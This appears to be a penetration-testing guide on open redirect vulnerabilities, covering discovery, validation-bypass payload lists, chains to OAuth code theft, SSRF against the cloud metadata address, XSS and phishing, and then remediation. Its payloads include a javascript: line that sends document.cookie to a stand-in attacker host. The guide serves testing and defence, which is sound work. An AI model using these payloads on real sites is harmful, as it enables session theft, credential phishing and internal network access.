12 min read

Open Redirect

Open redirect vulnerabilities allow attackers to redirect users to malicious websites through a trusted domain. While often dismissed as low-severity, open redirects can be chained with other attacks to steal credentials, bypass security controls, or achieve Server-Side Request Forgery (SSRF).

Frameworks: WSTG-CLNT-04 · ASVS 5.0 V3.7.2 · CWE-601 · T1190

Why Open Redirect Matters

Open redirects enable phishing attacks, OAuth token theft, and SSRF exploitation. A trusted domain redirecting to a malicious site appears legitimate to users and security tools. When chained with other vulnerabilities, open redirects can have critical impact.

Warning

Open redirects are often chained with OAuth flows to steal authorization codes. Always test with proper authorization.

The Redirect Is a Parser Problem

An open redirect exists where the server takes a destination from the request and writes it into Location — or a meta refresh, or a client-side location.href — without proving it is on an allowed host. The bug is rarely a missing check. It is a check that parses the URL differently from the browser: a validator looking for target.com anywhere in the string passes https://target.com.evil.com.

The precondition is narrow: the destination is attacker-influenced, and the client is willing to follow it off-origin. Where the parameter only accepts a path (/dashboard) there is no redirect until a parser trick turns that path into an authority — which is exactly what the bypass classes below are for.

Tools & Resources

Burp Suite

Intercept and modify redirect params

portswigger.net Website →

OpenRedireX

Open redirect fuzzer

git clone https://github.com/devanshbatham/OpenRedireX && cd OpenRedireX && ./setup.sh GitHub →

ParamSpider

Find URL parameters in archives

git clone https://github.com/devanshbatham/ParamSpider && cd ParamSpider && pip install . GitHub →

ffuf

Fuzz redirect parameters

go install github.com/ffuf/ffuf/v2@latest GitHub →

waybackurls

Historical URL discovery

go install github.com/tomnomnom/waybackurls@latest GitHub →

qsreplace

Replace query string values

go install github.com/tomnomnom/qsreplace@latest GitHub →

Finding Open Redirects

Common Parameter Names

common-params.txt
# Parameters commonly used for redirects
?url=
?redirect=
?redir=
?return=
?returnUrl=
?return_url=
?returnTo=
?next=
?goto=
?target=
?dest=
?destination=
?continue=
?forward=
?forward_url=
?callback=
?callback_url=
?go=
?link=
?out=
?view=
?to=
?ref=
?reference=
?site=
?rUrl=
?redirect_uri=
?redirect_url=
?service=
?image_url=
?_next=

# Headers to test
X-Forwarded-Host:
X-Forwarded-For:
X-Original-URL:
X-Rewrite-URL:
Host:

Discovery Techniques

discovery.sh
# Find redirect params from wayback machine
waybackurls target.com | grep -E '(url|redirect|redir|return|next|goto|target|dest)=' > redirect_params.txt

# Use ParamSpider for parameter discovery
paramspider -d target.com -o params.txt
cat params.txt | grep -E '(url|redirect|return|next)=' 

# Crawl with gau
gau target.com | grep -E '(url|redirect|return|next|destination)=' | sort -u

# Check robots.txt and sitemap.xml for redirect endpoints
curl -s https://target.com/robots.txt
curl -s https://target.com/sitemap.xml | grep -i redirect

# Manual fuzzing with ffuf
ffuf -u "https://target.com/redirect?url=FUZZ" -w redirect_payloads.txt -fr "error"

Bypass Techniques

Four families cover most real targets. Protocol-relative URLs (//evil.com) inherit the current scheme, so a validator that requires http or https never finds a scheme to check. Backslash forms work because browsers normalise \ to / in special schemes: /\/evil.com is a network-path reference to them and a relative path to a naive parser. Userinfo (target.com@evil.com) puts the trusted name before the @ and the real host after it. Substring allow-lists fall to target.com.evil.com or evil-target.com.

URL Validation Bypasses

basic-bypasses.txt
# Original blocked redirect
https://target.com/redirect?url=https://evil.com

# Double URL encoding
https://target.com/redirect?url=https%3A%2F%2Fevil.com
https://target.com/redirect?url=https%253A%252F%252Fevil.com

# Using @ symbol (userinfo bypass)
https://target.com/redirect?url=https://target.com@evil.com
https://target.com/redirect?url=https://evil.com%23@target.com
https://target.com/redirect?url=https://target.com%40evil.com

# Subdomain matching bypass
https://target.com/redirect?url=https://target.com.evil.com
https://target.com/redirect?url=https://evil-target.com
https://target.com/redirect?url=https://evilcom.target.com

# Path-based bypass (trusted domain prefix)
https://target.com/redirect?url=https://target.com/https://evil.com
https://target.com/redirect?url=https://target.com?https://evil.com

# Protocol-relative bypass
https://target.com/redirect?url=//evil.com
https://target.com/redirect?url=////evil.com
https://target.com/redirect?url=/\/evil.com

# JavaScript redirect
https://target.com/redirect?url=javascript:alert(1)
https://target.com/redirect?url=JaVaScRiPt:alert(1)

# Data URI
https://target.com/redirect?url=data:text/html,<script>location='https://evil.com'</script>

Send each candidate with redirects disabled and read only the Location header. The question is not whether the response is a 302 but whether the host it names is outside the allow-list: a 302 back to /dashboard is relative and benign, a 302 to //evil.com is the finding.

Advanced Bypasses

These target normalisation. A tab, newline or null byte can truncate a host check; fullwidth and Cyrillic characters can survive a string comparison but resolve elsewhere; a fragment is client-side only, so a check that reads everything after # is inspecting the wrong bytes.

advanced-bypasses.txt
# Backslash normalization (works on Windows/IIS)
https://target.com/redirect?url=https://target.com\@evil.com
https://target.com/redirect?url=https:\\evil.com

# Tab/newline/null byte injection
https://target.com/redirect?url=https://evil%09.com
https://target.com/redirect?url=https://evil%0d%0a.com
https://target.com/redirect?url=https://evil%00.com

# Unicode normalization bypasses
https://target.com/redirect?url=https://evil。com  (fullwidth period)
https://target.com/redirect?url=https://evil%2fcom
https://target.com/redirect?url=https://еvil.com  (Cyrillic 'е', U+0435)

# IPv6 confusion
https://target.com/redirect?url=https://[::1]@evil.com
https://target.com/redirect?url=https://evil.com/[::1]

# CRLF injection in redirect
https://target.com/redirect?url=%0d%0aLocation:https://evil.com

# Fragment identifier abuse
https://target.com/redirect?url=https://target.com#https://evil.com
https://target.com/redirect?url=#//evil.com

# Port confusion
https://target.com/redirect?url=https://evil.com:443
# NB: everything before '@' is userinfo — host resolves to target.com, so this
# is NOT a port bypass. The real userinfo trick is target.com@evil.com above.
https://target.com/redirect?url=https://evil.com:80@target.com

# Punycode/IDN homograph
https://target.com/redirect?url=https://tаrget.com  (cyrillic 'а')

Localhost/Internal Bypasses (for SSRF chains)

This list only matters when a server, not a browser, follows the redirect — that is the SSRF chain. Confirm the fetch actually happened with an out-of-band listener before claiming internal reachability.

localhost-bypasses.txt
# Localhost bypasses
https://target.com/redirect?url=http://127.0.0.1
https://target.com/redirect?url=http://localhost
https://target.com/redirect?url=http://0.0.0.0
https://target.com/redirect?url=http://[::1]
https://target.com/redirect?url=http://127.1
https://target.com/redirect?url=http://127.0.1
https://target.com/redirect?url=http://0

# Decimal IP (2130706433 = 127.0.0.1)
https://target.com/redirect?url=http://2130706433

# Hex IP (0x7f000001 = 127.0.0.1)
https://target.com/redirect?url=http://0x7f000001
https://target.com/redirect?url=http://0x7f.0x0.0x0.0x1

# Octal IP
https://target.com/redirect?url=http://0177.0.0.1

# Mixed notation
https://target.com/redirect?url=http://127.0.0.1.xip.io
https://target.com/redirect?url=http://127.0.0.1.nip.io

# DNS rebinding services
https://target.com/redirect?url=http://spoofed.burpcollaborator.net

# Internal network ranges
https://target.com/redirect?url=http://10.0.0.1
https://target.com/redirect?url=http://172.16.0.1
https://target.com/redirect?url=http://192.168.1.1
https://target.com/redirect?url=http://169.254.169.254  # AWS metadata

Chaining Attacks

Document the chain, not the redirect: "the url parameter accepts an external host" invites a wontfix, while the same finding with a working token-theft sequence does not.

OAuth Token Theft

oauth-theft.sh
# OAuth flow with open redirect vulnerability

# 1. Normal OAuth flow:
# User → Authorization Server → Callback URL → Application

# 2. Attack scenario:
# Find open redirect on trusted callback domain
https://app.target.com/redirect?url=https://evil.com

# 3. Craft malicious OAuth link
https://auth.target.com/oauth/authorize?
  client_id=legitimate_client&
  redirect_uri=https://app.target.com/redirect?url=https://evil.com&
  response_type=code&
  scope=read

# 4. Victim clicks link:
# - Authenticates on legitimate auth server
# - Redirected to app.target.com with auth code
# - app.target.com redirects to evil.com with auth code
# - Attacker captures authorization code

# 5. Attacker exchanges code for token
curl -X POST https://auth.target.com/oauth/token \
  -d "grant_type=authorization_code" \
  -d "code=CAPTURED_CODE" \
  -d "client_id=legitimate_client" \
  -d "redirect_uri=https://app.target.com/callback"

SSRF via Open Redirect

ssrf-chain.txt
# Many SSRF filters allow internal requests to trusted domains
# If that domain has an open redirect, it can be chained

# 1. SSRF filter allows: target.com
# 2. Open redirect found: target.com/redirect?url=
# 3. Chain to access internal resources:

# Access AWS metadata
https://vulnerable.com/fetch?url=https://target.com/redirect?url=http://169.254.169.254/latest/meta-data/

# Access internal admin panel
https://vulnerable.com/fetch?url=https://target.com/redirect?url=http://internal-admin.local/

# Bypass URL-based SSRF protections
https://vulnerable.com/proxy?url=https://allowed-domain.com/redirect?goto=http://localhost:8080/admin

# Chain multiple redirects
https://site-a.com/redirect?url=https://site-b.com/redirect?url=http://internal/

XSS via Open Redirect

xss-chain.txt
# JavaScript protocol redirects
https://target.com/redirect?url=javascript:alert(document.domain)

# Data URI with HTML
https://target.com/redirect?url=data:text/html,<script>alert(1)</script>
https://target.com/redirect?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

# Redirect to XSS vulnerable page
https://target.com/redirect?url=/page?param=<script>alert(1)</script>

# DOM-based redirect exploitation
# If redirect is done via JavaScript:
# location.href = params.url

# Inject payload:
https://target.com/redirect?url=javascript:fetch('https://evil.com/steal?c='+document.cookie)

Phishing Enhancement

phishing.txt
# Open redirect makes phishing links more convincing

# 1. Create phishing page that mimics target login
# Host at: https://evil.com/login.html

# 2. Use open redirect to make link appear legitimate
https://legitimate-company.com/redirect?url=https://evil.com/login.html

# 3. URL appears to be from legitimate-company.com
# Users are more likely to enter credentials

# Combine with URL shorteners for extra obfuscation
# bit.ly/xyz → https://company.com/redirect?url=https://evil.com

# Post-login redirect attack
# Legitimate login → Redirect to fake "session expired" page
# User re-enters credentials on phishing page

Header-Based Redirects

header-redirects.http
# Test Host header injection
GET /redirect HTTP/1.1
Host: evil.com
# May redirect to evil.com

# X-Forwarded-Host injection
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com

# Multiple Host headers
GET / HTTP/1.1
Host: target.com
Host: evil.com

# Absolute URL in request line
GET https://evil.com/ HTTP/1.1
Host: target.com

# X-Original-URL / X-Rewrite-URL
GET / HTTP/1.1
Host: target.com
X-Original-URL: https://evil.com
X-Rewrite-URL: /redirect?url=https://evil.com

# Referer-based redirects
GET /login HTTP/1.1
Host: target.com
Referer: https://evil.com
# Some apps redirect back to referer after login

Verifying a Redirect

curl follows redirects only with -L, so leave it off and read Location directly. Then resolve the candidate the way a browser would: the host follows the scheme and any userinfo, and it is not the first domain-shaped substring. Python's urlsplit is a quick second opinion; the browser is the final one, because it normalises backslashes and most HTTP clients do not.

verify-redirect.sh
# Redirects are only followed with -L — leave it off
curl -s -o /dev/null -D - \
  'https://target.com/redirect?url=https://evil.example' | grep -i '^location:'

# Resolve the host the way a browser would, not by substring match
python3 -c "import sys, urllib.parse as u; print(u.urlsplit(sys.argv[1]).hostname)" \
  'https://target.com@evil.example/'

# Backslash forms: the browser's answer is the one that matters
curl -s -o /dev/null -w '%{redirect_url}\n' \
  'https://target.com/redirect?url=/\evil.example'

Automated Testing

automated-testing.sh
# OpenRedireX automated testing
echo "https://target.com/redirect?url=" | openredirex -p payloads.txt

# Create payload list
cat > redirect_payloads.txt << EOF
https://evil.com
//evil.com
https://target.com@evil.com
https://evil.com%23@target.com
https://target.com.evil.com
javascript:alert(1)
//evil.com/%2f%2e%2e
/\evil.com
EOF

# Batch testing with qsreplace
cat urls.txt | qsreplace 'https://evil.com' | httpx -silent -location

# ffuf fuzzing
ffuf -u "FUZZ" -w redirect_urls.txt -w redirect_payloads.txt:PAYLOAD \
  -mode clusterbomb \
  -mr "Location:.*evil\.com"

# Python testing script
import requests

payloads = [
    "https://evil.com",
    "//evil.com",
    "https://target.com@evil.com",
    "https://target.com%23@evil.com",
]

base_url = "https://target.com/redirect?url="

for payload in payloads:
    r = requests.get(base_url + payload, allow_redirects=False)
    if 'evil.com' in r.headers.get('Location', ''):
        print(f"[+] Vulnerable: {payload}")
        print(f"    Redirects to: {r.headers['Location']}")

Testing Checklist

Discovery

  • ☐ Enumerate redirect parameters (url, next, return, etc.)
  • ☐ Check login/logout redirect flows
  • ☐ Test OAuth callback URLs
  • ☐ Search wayback machine for redirect endpoints
  • ☐ Check header-based redirects

Basic Testing

  • ☐ Test with external domain (https://evil.com)
  • ☐ Try protocol-relative URLs (//evil.com)
  • ☐ Test @ symbol bypass
  • ☐ Try subdomain confusion
  • ☐ Test URL encoding variations

Chaining

  • ☐ Test OAuth token theft scenarios
  • ☐ Chain with SSRF vulnerabilities
  • ☐ Try JavaScript protocol for XSS
  • ☐ Evaluate phishing impact
  • ☐ Test internal network access

Advanced Bypasses

  • ☐ Unicode/punycode homograph attacks
  • ☐ CRLF injection in redirect
  • ☐ Tab/newline/null byte injection
  • ☐ IP address format variations
  • ☐ Confirm each candidate in a real browser — client normalisation differs
  • ☐ Record protocol-relative and userinfo bypasses as separate findings

Why "It Only Redirects" Is Still a Finding

An open redirect reads no data, so it is easy to downgrade. The impact is trust: the link is on the client's domain and passes the mail gateway, the URL scanner and the user's glance. That is why it chains — with OAuth it turns an allow-listed callback into a code leak, and with an SSRF filter it turns an allowed host into a route to the metadata service.

Information

Impact Assessment: While open redirects alone may be low severity, document all potential chaining scenarios to properly demonstrate impact in your report.

Practice Labs

Remediation & Defense

Defensive Measures

URL Validation

  • • Maintain an allowlist of permitted redirect destinations
  • • Validate the scheme is https:// only (block javascript:, data:)
  • • Parse and compare the hostname against trusted domains
  • • Reject URLs with authentication segments (user@host)
  • • Compare the parsed hostname on a dot boundary (host === 'target.com' || host.endsWith('.target.com')), never with includes()
  • • Reject backslashes and control characters before parsing, and parse once — a second decode after validation re-introduces the bypass

Architecture Controls

  • • Use indirect references (map IDs to URLs server-side)
  • • Implement an interstitial warning page for external redirects
  • • Sign redirect URLs with HMAC to prevent tampering
  • • Avoid user-controlled redirect parameters entirely where possible
  • • Prefer relative destinations: build the URL server-side from a route name, so the host is never part of the input

CWE References: CWE-601 (URL Redirection to Untrusted Site)

Evidence Collection

Redirect Proof: Request with manipulated redirect parameter and Burp showing 302 response with Location header pointing to attacker-controlled domain

Phishing Chain: Full URL that an attacker would send to a victim — starting from the trusted domain and redirecting to a credential harvesting page

SSRF Chain: If chained with SSRF — show the redirect being followed by the server to access internal resources

OAuth Chain: If chained with OAuth — show authorization code or token being leaked to the attacker's redirect URI

Raw Location Header: The response headers for the request, showing status and the exact Location value, with redirects disabled so nothing was followed

Browser Confirmation: The address bar after following the link, because backslash and protocol-relative forms normalise differently in browsers than in HTTP clients

CVSS Range: Standalone open redirect: 3.1–4.3 (Low/Medium) | Chained with OAuth token theft: 7.5–8.0 | Chained with SSRF: 7.5–9.1

False Positive Identification

  • Allowlisted domains only: If the redirect only works for a known set of trusted domains, it's not exploitable — check for subdomain wildcards or path-based bypasses before dismissing.
  • Relative paths only: Redirects that only accept relative paths (/dashboard, /profile) can't redirect off-domain unless you find a path injection bypass.
  • Low standalone impact: Open redirect alone is typically Low severity — always attempt to chain it with OAuth, SSRF, or phishing for higher impact demonstration.
  • Client-side redirect: JavaScript-based redirects (window.location) are less impactful than server-side 302 redirects since they don't carry authentication headers. Note the redirect type.
  • Same-origin absolute URL: A redirect to an absolute <code>https://target.com/...</code> URL is not open merely because it is absolute. Parse the host before deciding, and confirm the destination is outside every allow-listed domain.
  • Interstitial confirmation page: A redirect that shows "you are leaving target.com" before continuing still weakens trust, but it changes the exploitability of a silent OAuth code leak. Record which behaviour you observed.

Open Redirect Practice

Practice redirect abuse and the chains it enables.

PortSwigger — DOM-Based Open Redirection PortSwigger easy
DOM-based redirectionFilter bypassOAuth / SSRF chaining